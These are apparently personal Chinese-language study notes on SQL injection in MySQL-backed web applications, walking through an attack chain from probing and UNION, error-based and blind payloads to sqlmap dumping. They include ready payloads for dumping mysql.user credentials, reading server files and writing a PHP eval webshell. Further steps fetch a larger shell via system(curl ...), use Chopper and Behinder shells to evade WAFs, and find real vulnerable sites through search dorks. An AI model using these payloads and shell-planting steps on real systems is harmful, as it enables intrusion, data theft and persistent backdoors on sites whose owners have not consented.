一、查询漏洞
根据可控参数的不同,分为三种注入类型,数字型,字符型,搜索型
注释方式/**/,#,--,url编码为%27
还有get和post请求,其实完全一样,只是get请求参数在url中,post在请求正文里
二、数字型
试探
(1)输'引起报错,输注释符#、/**/、-- 没有出错,没有被转义,那就说明这是个明确的注入点
(2)输id=1 and 1=2无查询结果验证这是注入点
试探列的数量
1、联合查询union select
(1)union查询的前提是列数相等
(2)where id=-1 union select 1,2,3,4...from 表名
表名一般不会乱取,可以收集字典爆破
前面的列数可以试出来,union前后查询的列数要一样才会有结果,否则就是报错或者无查询结果
id=-1说明前面的内容不会被查询了
然后查询某个用户的所有内容其实不会全部显示在页面,所以后面union查询还可以看出查询显示出来的内容是在列表的哪一列
2、排序order by
(1)排序order by 1/2/3/4/5...,是按第几列的顺序排序,如果没有那一列就会报错或者无查询结果
(2)回显查询结果 id=-1 union select 1,2,3,4....
联合查询
1、在显示的数字位置上,可以替换对应的查询语句,database()(数据库名称),version()(数据库版本),user()(数据库的用户)
2、还可以查询数据表的内容,在有回显内容的数字位置用(select 列名 from 表名 limit 1)替代,前提知道列名还有表名
全部查询出来就是脱裤
3、concat,把一行里的查询内容拼在一起输出在回显位置
(select concat(列名,'==',列名,‘==’,列名.....) from 表名 limit 1)
4、information_schema,其实所有数据库名称,表名,列名都放在information_schema这个数据库里的
(1)例如从information_schema数据库中的tables表查询数据库test的所有表名
goup_concat,就是将一列的内容拼到一行输出,自动以逗号分隔
(select group_concat(table_name) from information_schema.tables where table_schema='test' )
(2) 从information_schema数据库中的columns表查询数据库test里user表的的所有字段名:
(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name=user)
(3)浏览所有的数据库
(select group_concat(distinct(table_schema)) from imformation_schema.tables)
(select group_concat(schema_name) from imformation_schema.schemata)也可以
如果发现phpmyadmin数据库,可以直接访问/phpmyadmin,如果认证方式是config直接进入后台,如果是http,则可以爆破进入,最好不要开启phpmyadmin,或者需要时才远程管理(找找其他后台有没有远程管理)
\xampp\apache\conf\extrahttpd-xampp.conf中配置文件是require local就是只允许本地,#Require all granted允许所有,所以要注释掉
Alias /phpmyadmin "D:/xampp/phpMyAdmin/"
<Directory "D:/xampp/phpMyAdmin">
AllowOverride AuthConfig
Require local
#Require all granted
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</Directory>
\xampp\phpMyAdmin\config.inc.php 里的 $cfg'Servers'['auth_type'] = 'config'; 这样是可以直接远程访问访问的,改成http是需要用户名密码远程访问的
猥琐的解决方法,将用户名设的非常复杂,很难爆破出来
5、直接把数据库的用户名,密码查出来,更省事儿了,直接数据导出来了
(select concat(User,'==',Password) from mysql.user limit 1/2/3/4......,1) )
6、进阶的用法
(1)concat_ws指定分隔符 ,联合group_concat可以一次性整张表查出来
concat_ws('分隔符',列名,.....) limit 0,1 ,还可以外面套group_concat就可以整张表查出来group_concat(concat_ws('分隔符',列名,.....))
单引号及一些符号被转义,需要用16进制代替单引号
如果前端获取的数据后端php用addslashes函数将数据中的单引号之类的都给转义了
数据库有个函数hex(单引号中的数据),转成16进制后,在查询语句中将有引号的字符用16进制形式代替,去掉引号
三、字符型
试探
(1)字符型注入的核心是拼接和闭合,因为数字型外面是没有引号的,但是字符型有,所有需要把那个引号闭合,去掉,再拼接新的sql语句
(2)跟数字型一样的,就是多了个闭合的环节
试探列的数量
where id='-1' union select 1,2,3,4... # ' ', #转成url编码,或者用--+,1' union select 1,2,3,4... # '是注入内容
查询,和上面完全一样,除了引号需要闭合
四、搜索型
where 列名 like '%字符%' union select 1,2,3,4... # ' ' , %字符%' union select 1,2,3,4... # ' 是注入内容
以上都是mysql的数据库,oracle或sqlserver语法可能有些区别
五、我自己试探sql注入点的过程
输入' 报错则有注入点
输1 and 1=1 有结果 但是 1 and 1=2没结果但也没有出错,说明是数字型,字符型这样查是没结果的,但是也不会报错
输入1' and 1=1 #' 有结果,输入1' and 1=2 #'无结果但也没报错,说明是字符型
六、查询漏洞的利用
利用sql语句读取文件,或者写入文件
1、确认读取权限
show global variables like "%secure%";查看结果
secure_file_priv 这个为空说明读写任意,为null表示不能读写,=某个路径说明只可以读写那个路径的文件
2、读取文件
回显位置用load_file("D:\xampp\htdocs\learn\new_login\common.php")替代,这个地址可能是之前暴露出来的敏感信息中的路径, 但是不会知道有common.php这个文件,所以需要收集字典遍历,不清楚路径也是可以收集服务器的路径字典遍历的,暴力破解
3、写文件,写入木马
(1)写文件
select 1,2,3 ,“ 写入内容” ,5...... into outfile "写入路径/文件.php(这个文件如果本来没有是会自动创建的)"
遍历路径字典写入,可能无法写入文件也不会报错,那就写一次访问一下,直到找到写入内容,也就找到可写入路径,很多路径是没有写入权限的,所以需要遍历找出来,而且写一定要写到站点下我们才可以访问
(2)写木马
将写入内容换成一句话木马,“<?php @eval($_GET['a'];)?>”
eval()会将字符串当做代码来执行
这个木马意思是先取得参数a的值,然后a的值会被当做代码执行,如果用户能将这段有效代码传入后台,那么可以执行任意代码和指令
a=phpinfo();用来探测,a=system('指令');
( 3)php大马
大马特别大,是个完整的应用程序,那就先传一个小马,然后用下马下载大马
先小马:写入内容换成 “<?php @eval($_GET['a'];)?>”,访问url?a=system("curl http://xxx//xxx//xxx.php")
菜刀的使用
输入已经建立好的小马的url还有参数,是post请求,菜刀就是我们已经传入小马之后帮助我们操作的,辅助工具
菜刀的整个传输过程是明文,现在已经被waf进行防护了
冰蝎的使用
1、冰蝎的小马是可以将通信加解密的shell脚本,可以绕过waf
2、注入方法
(1)先注入一个小马,用菜刀帮助注入冰蝎的shell文件
(2)直接把冰蝎这个小马一行一行注入
(3)注入常规小马,再用系统命令远程下载shell文件
a=system(curl url > 路径/文件)
(4)如果目标站点存在文件上传漏洞,直接上传shell
找一个有sql注入漏洞的网站,关键词搜索引擎语法,谷歌百度hack
整个注入过程
1、试探是否有注入点并判断注入类型
2、试探列数,用union或者order by
3、试探出回显点,用union
4、在回显点位置确认读取权限
5、在回显点随意读取,大部分路径、文件应该都是可读的
6、在回显点找到可以写入文件的路径,用字典爆破,或者之前就找到敏感路径了
7、找到可写入路径后就可以写入小马,进行随意操作
七、报错注入
union注入不适用的地方
1、注入语句无法截断,且不清楚完整sql查询语句
2、页面不能返回查询信息
3、web页面有两个查询语句,查询语句数列不同
数据库里储存xml格式的数据
储存:将xml数据直接放在数据库某个表的一栏里,有列名
xml数据例如:
<classid=one>
<studentsequence='1'>
• <name>li</name>
• <sex>女</sex>
</student>
<studentsequence='2'>
• <name>ha</name>
• <sex>男</sex>
</student>
</class>
xpath的格式类似://student[@sequence='2']/name
查询:查询select extractvalue(列名,‘xpath’) from 表名
更新:update 表名 set 列名=updatexml(列名,‘xpath’,"<name>sd</name>"(要修改的内容))
常用报错注入payload
1、updatexml
payload :1 and updatexml(1,concat(0x7e,user(),0x7e),1)
0x7e是~
原理就是xpath不正确会报错,但是还是会执行更新内容里的语句
user()可以换成任何想查询的内容,例如database(),(select ......),算是一个回显点
2、extractvalue
payload:1 and extactvalue(1,concat(0x7e,user(),0x7e)
跟上面报错是一样的都是利用xpath报错
3、floor报错
1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
八、盲注
就不能使用union注入,也不能使用报错注入,盲注简单来说就是用于没有回显的地方
boolean型盲注
页面只有两种结果,成功显示,没成功啥也不显示,只知道注入成没成功
盲注有时候需要一个字符一个字符去猜,例如查database()
length()返回查询字段长度
mid(column_name,start,length);截取字符串
substr(string,start,length);截取字符串
left(string,n);截取左边几个字符串
ORD():返回字符串的ascii码
ASCII();返回字符串的ascii码
payload:1 and length(database())</7/6/5 就试,试出database()的字符长度
1 and substr(database(),start,长度)=‘a/b/c...’ --+用burp暴力猜解,猜对会有结果显示,猜错无结果
显示
1 and(select substr(database(),start,长度)=‘a/b/c...’)构造更复杂的sql语句
时间型盲注
在无法进行bool型盲注的时候,就是界面什么结果都不会返回,就可以试试时间型,就判断一个东西,正确了也不用输出结果了,就休眠几秒,这样就能判断出是否注入正确
还是先判断查询内容的长度,然后再猜解字符串,这个和bool型的区别就是时间型用休眠时间猜解长度,猜解字符,bool型用是否有返回结果猜解、
payload:1 and if(length(database())=5/6/7/...,sleep(3),1),用休眠时间猜解查询内容长度
1 and if(substr(database(),start,长度)=‘a/b/c...’,sleep(3),1)用休眠时间猜解查询字符
如果把哪些要查询内容的函数都给屏蔽了,那就没办法了,盲注也没有
九、sqlmap的使用
sqlmap可以完成注入点的发现,数据库的确认,webshell权限和路径的确认,脱裤等一系列操作,测试的payload分5级:-- level 1/2/3..
发现注入点
sqlmap -u url --cookie=" "
cookie 在f12的网络里找,注入点需要先登录,那就可以手工先登录,然后用相同cookie
查看所有数据库
sqlmap -u url --dbs
指定数据库类型会比较节省时间
sqlmap -u url --dbs --dbms=mysql
查看当前使用的数据库
sqlmap -u url --current-db
对正在使用的数据库进行查询表
sqlmap -u url --tables -D 数据库名
查出表后查对user所有列进行查询
sqlmap -u url --columns -T "数据库" -D “表名”
列名也知道了,直接脱裤
sqlmap -u url --dump -C "列名,列名..." -T "表名" -D "数据库名"
判断是否是dba,如果是就可以尝试上传shell
sqlmap -u url --dbs=mysql --is-dba
上传os-shell
1、sqlmap自动写入木马
sqlmap -u url --cookie=" " --dbms=mysql --os-shell
os-shell会进行三个步骤:猜测网络的绝对路径
尝试写入木马
获取到shell命令行
2、sqlmap写入失败后,我们可以手工读写文件
(1)读远程服务器文件
sqlmap -u url --cookie=" " --dbms=mysql --file-read "/etc?passwd"
(2)可以读那就可以写入
sqlmap -u url --cookie=" " --dbms=mysql --file-write 木马本地文件路径 --file-dest sqlmap找出的绝对路径(爆破实际可写入)
就可以使用python调用sqlmap的命令 (os.open("").read())进行盲猜,循环遍历目录字典,爆破写入,根据执行结果不同判断是否写入
--batch 参数可以直接一次性运行完sqlmap,没有需要交互
!!!以上是get请求的操作,如果是post,要先访问注入的url,然后burp抓包,把包copy to file储存起来
然后所有请求都是sqlmap -r 包储存路径 -p 指定注入参数 --cookie=" " --dbs()
十、更新类注入(属于报错类)
更新类注入只会返回bool型的结果,不会返回数据,无法像select一样进行多样化处理,核心是构建报错注入,payload都是闭合引号,构造有逻辑的符合语法规则的语句让数据库报错,不闭合数据库只会先报语法错误
insert into 表名(列名,列名...) values('值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','值',...)
payload:值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
update 表名 set 列名='值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where 列名=‘值’
payload:值' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
update 表名 set 列名='值' where 列名=‘值’ or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:or updatexml(1,concat(0x7e,database(),0x7e),1)
十一、堆叠注入(前提是使用了multi_query函数或者方法,属于查询类)
就是在执行的语句中可以执行多条sql语句(批量一次性执行多条sql语句)
select * from 表名 where 列名=1;update 表名 set 列名='值' where 列名=1;
payload:1;update 表名 set 列名=值 where 列名=1(数字型)
select * from 表名 where 列名='1';update 表名 set 列名='值' where 列名=1;#''
payload:1';update 表名 set 列名='值' where 列名=1;#'
十二、二次注入(更新类)
就是注册时用户名用 例如ruo'# ,然后在修改密码的时候就可以把ruo的密码改掉
insert into user (username,passwd) values('ruo'#'',1111),#'被addslashes转义然后再到数据库就是普通字符
uodate user set passwd=2222 where username='ruo'#';
十三、宽字节注入(是gbk编码,查询类)
普通用单引号注入的时候,单引号会被addslashes转义添加反斜杠,但是gbk编码的时候反斜杠会变成%5c,和%bf一组合会变成另一个字符%bf%5c,从而吃掉反斜杠,这样单引号就不会被转义了,可以实现闭合单引号
比如:1%bf' union select 1,2,3--+
十四、url解码注入(会进行url解码)
用addslasnes将符号转义后还用urldecode,rawurldecode进行url解码,所有注入就得先将转义符吞掉,这个吞就利用url解码
(%27解码后是%,%25解码后是单引号),%2725有百分号就会解码,第一次解码后是%25,再解码是‘,源代码是urldecode(addslashes()),所以是先转义再解码,我们输%2725是不会被转义的
十五、代码注入
十六、命令注入
十七、奇淫巧技
十八、http头注入
这个就是更新类注入,一般头里的信息可能会被服务器端收集过去存入数据库,所以后台代码应该是insert into 数据....
所以注入的payload就是上面更新类payload导致报错,即
' or updatexml(1,concat(0x7e,database(),0x7e),1) or '